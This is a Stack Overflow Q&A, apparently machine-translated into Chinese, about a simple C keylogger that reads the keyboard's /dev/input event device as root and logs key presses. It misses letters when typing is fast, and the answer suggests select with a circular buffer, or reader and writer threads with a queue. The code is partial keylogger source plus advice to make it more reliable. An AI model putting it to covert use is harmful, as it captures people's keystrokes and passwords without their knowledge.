c - 从键盘设备读取事件并将其存储在文件中会跳过一些输入

标签 c optimization keyboard-events keylogger

我正在为一个非常简单的键盘记录器编写代码。它从 /dev/input/event[0..9] 读取输入,并使用 read() 系统调用读取键盘完成的输入。然后,该输入被重定向以存储在日志文件中。

代码如下。

struct input_event ev[64];
int fd, rd, value, i, size = sizeof (struct input_event);
char dev_id[32];
char device[64];
FILE *f = fopen("/home/student/junk/haris/key_log.txt", "a");

FILE* fpp = popen("grep -E 'Handlers|EV=' /proc/bus/input/devices | grep -B1 'EV=120013' | grep -Eo 'event[0-9]+'", "r");
fgets(dev_id, sizeof(dev_id), fpp);
sprintf(device,"/dev/input/%s",dev_id);

for(i=0; device[i] != '\n'; i++)
    ;
device[i] = '\0';

if ((getuid ()) != 0)
    printf ("You are not root! This may not work...n");


if ((fd = open (device, O_RDONLY)) == -1)
    printf ("%s is not a valid device.n", device);

size *= 64;

while (1)
{
    if ((rd = read(fd, ev, size)) < size)
        exit(0); 

    if (ev[1].value == 1 && ev[1].type == 1) // Only read the key press event
    {
        fflush(f);
        fprintf(f, "%s", key_map[(ev[1].code)]);
    }
}

最后一个 while 循环是发生读取的主循环。 一切正常

<小时/>

我面临的问题是当某些用户输入任何单词太快时,程序无法捕获所有按键的事件。当单词输入太快时,它会漏掉一些字母。

例如,如果我在键盘上快速输入单词 hello haris,日志文件中的输出将是 hllo hars

我认为发生此错误是因为循环需要时间进行迭代。在读取一个事件并将其写入文件之前,下一个事件正在发生并结束。

有没有办法优化代码,以免错过任何事件。或者还有什么其他原因吗?

<小时/>

奖励问题

无论我输入的速度有多快,终端和其他设备都能够获取所有输入,这是为什么?

最佳答案

有很多方法可以实现您想要的:

1)简单的一种使用select + read +缓存,伪代码:

result = select();
if (result == TIMEOUT)
  flush_input_queue_to_file();
else (result == DATA_READY)
  add_event_to_queue();

所以你需要添加https://en.wikipedia.org/wiki/Circular_buffer到你的代码 并在阅读前选择。 因为每个输入事件都会有一个 I/O,而不是一个事件 = 一次写入文件,这会减少丢失某些事件的可能性。

2)使用两个线程和带有互斥锁的队列,一个线程写入文件,它可能会阻塞I/O,其他线程读取输入并将事件放入队列,读取pthread来实现这一点。与写入日志线程相比,您还可以提高读取输入线程的优先级,并使用无锁队列。

关于c - 从键盘设备读取事件并将其存储在文件中会跳过一些输入,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/33499077/

相关文章:

python - 求多个根的二分法

c# - 尝试使用ProcessCmdKey在MDI父/子窗体和其他窗体中实现全局快捷键

iphone - UITextView 在 iPhone 中隐藏键盘

algorithm - 是否有任何好的算法来检测停止向服务器发送心跳的客户端?

php - 在 PHP 中复制或不复制额外的变量?

c++ - #pragma unroll 语句可以用来清理编译器预评估的代码吗?

swift - Input Accessory View Behave Unexpected with keyboard 隐藏和显示事件

c - 什么是好的开源 BitTorrent 库?

c - 从c中的stdin读取字符串

c - 没有足够的变量来适应哨兵